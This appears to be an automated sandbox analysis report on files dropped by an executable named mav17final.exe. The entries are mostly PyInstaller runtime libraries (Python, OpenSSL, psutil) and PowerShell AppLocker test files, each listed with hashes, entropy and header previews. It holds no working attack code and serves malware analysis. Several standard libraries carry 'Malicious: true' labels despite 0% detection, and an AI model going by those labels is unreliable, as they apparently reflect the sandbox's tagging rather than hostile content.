File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	123664
Entropy (8bit):	6.058417150946148
Encrypted:	false
SSDEEP:	3072:c7u5LnIx1If3yJdqfLI2AYX5BO89IPLPPUxdF:cwxfijqfLI29BO8VF
MD5:	BD36F7D64660D120C6FB98C8F536D369
SHA1:	6829C9CE6091CB2B085EB3D5469337AC4782F927
SHA-256:	EE543453AC1A2B9B52E80DC66207D3767012CA24CE2B44206804767F37443902
SHA-512:	BD15F6D4492DDBC89FCBADBA07FC10AA6698B13030DD301340B5F1B02B74191FAF9B3DCF66B72ECF96084656084B531034EA5CADC1DD333EF64AFB69A1D1FD56
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........G...&...&...&...^...&...Z...&...Z...&...Z...&...Z...&..$Z...&...^...&...^...&..-Z...&...&...&..$Z...&..$Z...&..$Zv..&..$Z...&..Rich.&..........................PE..d...!..d.........." ..."............p\..............................................\|o....`.........................................pP.......P.........................../..............T...........................`...@............................................text............................... ..`.rdata...l.......n..................@..@.data...$=...p...8...^..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	253200
Entropy (8bit):	6.559097478184273
Encrypted:	false
SSDEEP:	6144:7t9gXW32tb0yf6CgLp+E4YECs5wxvj9qWM53pLW1Apw9tBg2YAp:7ngXW3wgyCiE4texvGI4Ap
MD5:	65B4AB77D6C6231C145D3E20E7073F51
SHA1:	23D5CE68ED6AA8EAABE3366D2DD04E89D248328E
SHA-256:	93EB9D1859EDCA1C29594491863BF3D72AF70B9A4240E0D9DD171F668F4F8614
SHA-512:	28023446E5AC90E9E618673C879CA46F598A62FBB9E69EF925DB334AD9CB1544916CAF81E2ECDC26B75964DCEDBA4AD4DE1BA2C42FB838D0DF504D963FCF17EE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........nyR.............w.......s.......s.......s.......s.......s.......w.........._....s.......s.......s.......s.......s......Rich............PE..d......d.........." ...".v...<......L...............................................Rn....`..........................................T..P...`T...................&......./......P.......T...........................P...@............................................text....u.......v.................. ..`.rdata..<............z..............@..@.data....*...p...$...R..............@....pdata...&.......(...v..............@..@.rsrc...............................@..@.reloc..P...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\_elementtree.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	128272
Entropy (8bit):	6.398685534751033
Encrypted:	false
SSDEEP:	3072:uhGlNy/CPxvpewUjYk2f2/4YkWQNokUVrm/54h7ZIP6fxpxZ:P4/CPxvpTFk2fNKQqYx4h7r
MD5:	53BA094149F6FC5F4F7349D4E0019857
SHA1:	17F8FB2487D2DEDB2BC1595CC8DEDE2C9BCAD4F9
SHA-256:	EDB86A361198E68DFEEC10B8BEF6937540F43A4578356FD2F13546DE03471026
SHA-512:	10D1714E1CF41981EF7DA99713AD5B7C8647A13813A9012A69C4B5BB1542C4F5C170175A2CD49D94D79B5D10F71BBBA5732245C1D6DF1F35AB6ADB79F9A1D6F5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............I..I..I.4I..I...H..I...H..I...H..I...H..I...H..I...H..I..Id.I...H..I...H..I..XI..I...H..IRich..I........................PE..d......d.........." ...".(..........Px..............................................h.....`......................................... ...X...x...x......................../......X....K..T............................I..@............@...............................text....'.......(.................. ..`.rdata...g...@...h...,..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	65304
Entropy (8bit):	6.222786912280051
Encrypted:	false
SSDEEP:	1536:6TO+CPN/pV8ETeERZX/fchw/IpBIPOIVQ7SygPx:mClZZow/IpBIPOIVQyx
MD5:	4255C44DC64F11F32C961BF275AAB3A2
SHA1:	C1631B2821A7E8A1783ECFE9A14DB453BE54C30A
SHA-256:	E557873D5AD59FD6BD29D0F801AD0651DBB8D9AC21545DEFE508089E92A15E29
SHA-512:	7D3A306755A123B246F31994CD812E7922943CDBBC9DB5A6E4D3372EA434A635FFD3945B5D2046DE669E7983EF2845BD007A441D09CFE05CF346523C12BDAD52
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........F.u.'.&.'.&.'.&._,&.'.&.[.'.'.&.[.'.'.&.[.'.'.&.[.'.'.&._.'.'.&[.'.'.&.'.&e'.&[.'.'.&[.'.'.&[@&.'.&*[.'.'.&Rich.'.&........PE..d......d.........." ...".T...~......`?...............................................%....`.............................................P.......................,......../......\...0}..T............................{..@............p..(............................text...uR.......T.................. ..`.rdata...N...p...P...X..............@..@.data...8...........................@....pdata..,...........................@..@.rsrc...............................@..@.reloc..\...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	158992
Entropy (8bit):	6.8491146526380025
Encrypted:	false
SSDEEP:	3072:A4lirS97HrdVmEkGCm5hAznf49mNo2NOvJ02pIPZ1wBExN:VlirG0EkTVAYO2NQ3w
MD5:	E5ABC3A72996F8FDE0BCF709E6577D9D
SHA1:	15770BDCD06E171F0B868C803B8CF33A8581EDD3
SHA-256:	1796038480754A680F33A4E37C8B5673CC86C49281A287DC0C5CAE984D0CB4BB
SHA-512:	B347474DC071F2857E1E16965B43DB6518E35915B8168BDEFF1EAD4DFF710A1CC9F04CA0CED23A6DE40D717EEA375EEDB0BF3714DAF35DE6A77F071DB33DFAE6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*...D,..D,..D,...,..D,..E-..D,..A-..D,..@-..D,..G-..D,M.E-..D,..E-..D,..E,.D,M.I-..D,M.D-..D,M.,..D,M.F-..D,Rich..D,........PE..d...$..d.........." ...".b...........5....................................................`..........................................%..L...\%..x....p.......P.......>.../......8.......T...........................p...@............................................text....a.......b.................. ..`.rdata..............f..............@..@.data........@......................@....pdata.......P......................@..@.rsrc........p.......2..............@..@.reloc..8............<..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	79640
Entropy (8bit):	6.290841920161528
Encrypted:	false
SSDEEP:	1536:0JltpedXL+3ujz9/s+S+pzpMoiyivViaE9IPLwj7SyZPx:07tp4i3ujz9/sT+pzqoavVpE9IPLwjHx
MD5:	1EEA9568D6FDEF29B9963783827F5867
SHA1:	A17760365094966220661AD87E57EFE09CD85B84
SHA-256:	74181072392A3727049EA3681FE9E59516373809CED53E08F6DA7C496B76E117
SHA-512:	D9443B70FCDC4D0EA1CB93A88325012D3F99DB88C36393A7DED6D04F590E582F7F1640D8B153FE3C5342FA93802A8374F03F6CD37DD40CDBB5ADE2E07FAD1E09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......RXY..97..97..97..A...97.YE6..97.YE2..97.YE3..97.YE4..97..E6..97..96..97.]A6..97..E:..97..E7..97..E...97..E5..97.Rich.97.................PE..d... ..d.........." ...".l...........%.......................................P......V.....`.............................................P............0....... ..x......../...@..........T...............................@............................................text...:k.......l.................. ..`.rdata...t.......v...p..............@..@.data...............................@....pdata..x.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	161040
Entropy (8bit):	6.029728458381984
Encrypted:	false
SSDEEP:	3072:LMaGbIQQbN9W3PiNGeA66l8rBk3xA87xfCA+nbUtFMsVjTNbEzc+pIPC7ODxd:LMaG0bN96oG1l8YA8ZMSR+E
MD5:	208B0108172E59542260934A2E7CFA85
SHA1:	1D7FFB1B1754B97448EB41E686C0C79194D2AB3A
SHA-256:	5160500474EC95D4F3AF7E467CC70CB37BEC1D12545F0299AAB6D69CEA106C69
SHA-512:	41ABF6DEAB0F6C048967CA6060C337067F9F8125529925971BE86681EC0D3592C72B9CC85DD8BDEE5DD3E4E69E3BB629710D2D641078D5618B4F55B8A60CC69D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........p...p...p....8..p.......p.......p.......p.......p..N....p...p...q.......p..N....p..N....p..N.T..p..N....p..Rich.p..........................PE..d...'..d.........." ..."............l+..............................................NS....`.............................................d...t........`.......P.......F.../...p..8...0...T...............................@............................................text............................... ..`.rdata..............................@..@.data....j.......f..................@....pdata.......P......."..............@..@.rsrc........`......................@..@.reloc..8....p.......8..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\base_library.zip

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1438373
Entropy (8bit):	5.59108786847922
Encrypted:	false
SSDEEP:	24576:mQR5pATu7xm4lUKdcubgAnyfbcZ0iwhBdYf9P3sRHHL:mQR5plxmQJy
MD5:	2F6D57BCCF7F7735ACB884A980410F6A
SHA1:	93A6926887A08DC09CD92864CD82B2BEC7B24EC5
SHA-256:	1B7D326BAD406E96A4C83B5A49714819467E3174ED0A74F81C9EBD96D1DD40B3
SHA-512:	95BCFC66DBE7B6AD324BD2DC2258A3366A3594BFC50118AB37A2A204906109E42192FB10A91172B340CC28C12640513DB268C854947FB9ED8426F214FF8889B4
Malicious:	false
Preview:	PK..........!.h%..b...b......._collections_abc.pyc............................................d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.........................Z...e.d...............Z.d...Z...e.e...............Z.[.g.d...Z.d.Z...e...e.d.............................Z...e...e...e...........................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.g.............................Z...e...e...e.g...........................................Z...e...e...e.d...........................................Z...e...e...e.d.d.z.............................................Z...e...e...e...........................................Z...e...e.d.............................Z ..e...e.d.............................Z!..e...e...e"..........................................Z#..e.i.......................................

C:\Users\user\AppData\Local\Temp\_MEI19682\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3445016
Entropy (8bit):	6.099467326309974
Encrypted:	false
SSDEEP:	98304:+/+YgEQaGDoWS04ki7x+QRsZ51CPwDv3uFfJx:MLgEXGUZ37x+VZ51CPwDv3uFfJx
MD5:	E94733523BCD9A1FB6AC47E10A267287
SHA1:	94033B405386D04C75FFE6A424B9814B75C608AC
SHA-256:	F20EB4EFD8647B5273FDAAFCEB8CCB2B8BA5329665878E01986CBFC1E6832C44
SHA-512:	07DD0EB86498497E693DA0F9DD08DE5B7B09052A2D6754CFBC2AA260E7F56790E6C0A968875F7803CB735609B1E9B9C91A91B84913059C561BFFED5AB2CBB29F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........).h.z.h.z.h.z..Oz.h.z...{.h.z...{.h.z...{.h.z...{.h.z.h.zjh.z...{.h.z=..{.h.z=..{.j.z=..{.h.z=.#z.h.z=..{.h.zRich.h.z........................PE..d.....wd.........." ..."..$...................................................5......o5...`..........................................y/..h...J4.@.....4.\|....p2......b4../....4..O..P.,.8.............................,.@............@4..............................text...$.$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata..h....p2.......1.............@..@.idata..^#...@4..$....3.............@..@.00cfg..u....p4.......3.............@..@.rsrc...\|.....4.......3.............@..@.reloc...y....4..z....3.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\libssl-1_1.dll

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	704792
Entropy (8bit):	5.55753143710539
Encrypted:	false
SSDEEP:	12288:ihO7/rNKmrouK/POt6h+7ToRLgo479dQwwLOpWW/dQ0T9qwfU2lvzA:iis/POtrzbLp5dQ0T9qcU2lvzA
MD5:	25BDE25D332383D1228B2E66A4CB9F3E
SHA1:	CD5B9C3DD6AAB470D445E3956708A324E93A9160
SHA-256:	C8F7237E7040A73C2BEA567ACC9CEC373AADD48654AAAC6122416E160F08CA13
SHA-512:	CA2F2139BB456799C9F98EF8D89FD7C09D1972FA5DD8FC01B14B7AF00BF8D2C2175FB2C0C41E49A6DAF540E67943AAD338E33C1556FD6040EF06E0F25BFA88FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........q...q...q.....q..p...q..p...q..t...q..u...q..r...q.[.p...q...p.u.q.[.u...q.[.q...q.[.....q.[.s...q.Rich..q.........................PE..d.....wd.........." ...".D...T......<.....................................................`..........................................A...N..@U..........s........N......./......h.......8...............................@............@..@............................text....B.......D.................. ..`.rdata.../...`...0...H..............@..@.data...AM.......D...x..............@....pdata...V.......X..................@..@.idata..%W...@...X..................@..@.00cfg..u............l..............@..@.rsrc...s............n..............@..@.reloc..q............v..............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\psutil\_psutil_windows.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68608
Entropy (8bit):	5.960057524881486
Encrypted:	false
SSDEEP:	1536:Owy3DdmqfowPqaeMIBKwYx4CaeEQQoPT:cLeMIBKwYx4CaeEQQo
MD5:	5F3B6D0A76CC2F72539CAB35221DDCC6
SHA1:	14FE99DB2C22E10C467244B146FAD20DD158585B
SHA-256:	73295D501366010C478070ABB2ECB6455CB8BBF2D162731428ECC33CECDECC67
SHA-512:	6BCEAB82530B688AE78D9A68E24105574046925901E0A4456F155DB6B18BBB36507363538BB07278D8D2769673F746932E0A468C7D3ADE1EE4D2502C088AFCEB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:M..~,..~,..~,..wTU.t,..,Y..\|,..,Y..r,..,Y..v,..,Y..z,..P..\|,..jG..o,..~,...,..Y..r,..Y...,..Y9..,..Y...,..Rich~,..........PE..d...s.ye.........." .........p...............................................P............`.............................................p...@...@....0....... ...............@..........................................8............................................text............................... ..`.rdata..0P.......R..................@..@.data...8...........................@....pdata....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\pyexpat.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	199448
Entropy (8bit):	6.377510350928234
Encrypted:	false
SSDEEP:	3072:OA1YT2Ga6xWK+RohrRoi9+IC08K9YSMJiCNi+GVwlijAOBgC4i9IPLhhHx:v1YOyGohNoEC08K9oJ5GWl7Fi
MD5:	9C21A5540FC572F75901820CF97245EC
SHA1:	09296F032A50DE7B398018F28EE8086DA915AEBD
SHA-256:	2FF8CD82E7CC255E219E7734498D2DEA0C65A5AB29DC8581240D40EB81246045
SHA-512:	4217268DB87EEC2F0A14B5881EDB3FDB8EFE7EA27D6DCBEE7602CA4997416C1130420F11167DAC7E781553F3611409FA37650B7C2B2D09F19DC190B17B410BA5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........T..5.5.5.Mu..5..I.5..I.5..I.5..I.5..I.5..M.5.5..5..I.5..I.5..I...5..I.5.Rich.5.................PE..d......d.........." ..."............0........................................ .......=....`.............................................P................................/..........`3..T........................... 2..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...@!..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\python311.dll

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5762840
Entropy (8bit):	6.089392282930885
Encrypted:	false
SSDEEP:	49152:73djosVvASxQKADxYBVD0NErnKqroleDkcWE/Q3pPITbwVFZL7VgVr42I1vJHH++:73ZOKRtlrJ7wfGrs1BHeM+2PocL2
MD5:	5A5DD7CAD8028097842B0AFEF45BFBCF
SHA1:	E247A2E460687C607253949C52AE2801FF35DC4A
SHA-256:	A811C7516F531F1515D10743AE78004DD627EBA0DC2D3BC0D2E033B2722043CE
SHA-512:	E6268E4FAD2CE3EF16B68298A57498E16F0262BF3531539AD013A66F72DF471569F94C6FCC48154B7C3049A3AD15CBFCBB6345DACB4F4ED7D528C74D589C9858
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.D.5..5..5..z.+.7..z...;..z./.9..z...=..z.).1..<../..~.+.>..5.+.P....'......4......4....(.4..Rich5.*.........................PE..d......d.........." ...".X%..47.....\H........................................\.......X...`...........................................@......WA......p[.......V.d0....W../....[..C....).T.............................).@............p%..............................text...rV%......X%................. ..`.rdata.......p%......\%.............@..@.data.........A..L...hA.............@....pdata..d0....V..2....Q.............@..@PyRuntim......X.......S.............@....rsrc........p[......rV.............@..@.reloc...C....[..D...\|V.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\select.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30480
Entropy (8bit):	6.578957517354568
Encrypted:	false
SSDEEP:	384:N1ecReJKrHqDUI7A700EZ9IPQGNHQIYiSy1pCQn1tPxh8E9VF0NykfF:3eUeJGHqNbD9IPQGR5YiSyvnnPxWEuN
MD5:	C97A587E19227D03A85E90A04D7937F6
SHA1:	463703CF1CAC4E2297B442654FC6169B70CFB9BF
SHA-256:	C4AA9A106381835CFB5F9BADFB9D77DF74338BC66E69183757A5A3774CCDACCF
SHA-512:	97784363F3B0B794D2F9FD6A2C862D64910C71591006A34EEDFF989ECCA669AC245B3DFE68EAA6DA621209A3AB61D36E9118EBB4BE4C0E72CE80FAB7B43BDE12
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........tB.t'B.t'B.t'K..'@.t'..u&@.t'..q&N.t'..p&J.t'..w&F.t'..u&@.t'B.u'..t'..u&G.t'..y&C.t'..t&C.t'...'C.t'..v&C.t'RichB.t'................PE..d......d.........." ...".....2............................................................`..........................................@..L...,A..x....p.......`.......H.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI19682\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\mav17final.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1141016
Entropy (8bit):	5.435086202175289
Encrypted:	false
SSDEEP:	12288:83kYbfjwR6nblonRiPDjRrO5184EPYPx++ZiLKGZ5KXyVH4eD1ol:8UYbMA0IDJcjEwPgPOG6Xyd461ol
MD5:	AA13EE6770452AF73828B55AF5CD1A32
SHA1:	C01ECE61C7623E36A834D8B3C660E7F28C91177E
SHA-256:	8FBED20E9225FF82132E97B4FEFBB5DDBC10C062D9E3F920A6616AB27BB5B0FB
SHA-512:	B2EEB9A7D4A32E91084FDAE302953AAC57388A5390F9404D8DFE5C4A8F66CA2AB73253CF5BA4CC55350D8306230DD1114A61E22C23F42FBCC5C0098046E97E0F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................,...............,.....,.....,.y...,.....Rich..........PE..d......d.........." ...".@..........P*...............................................!....`.............................................X............`.......P..0....:.../...p.......]..T............................[..@............P..x............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data...H....0......................@....pdata..0....P.......&..............@..@.rsrc........`......................@..@.reloc.......p.......8..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cekke4h5.2ee.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hbq2zdhu.rbm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n3fjs40g.35n.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s2c2yfnl.afr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_st2rmehi.aca.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u5xvzv1b.wlq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vl4btnma.ysy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
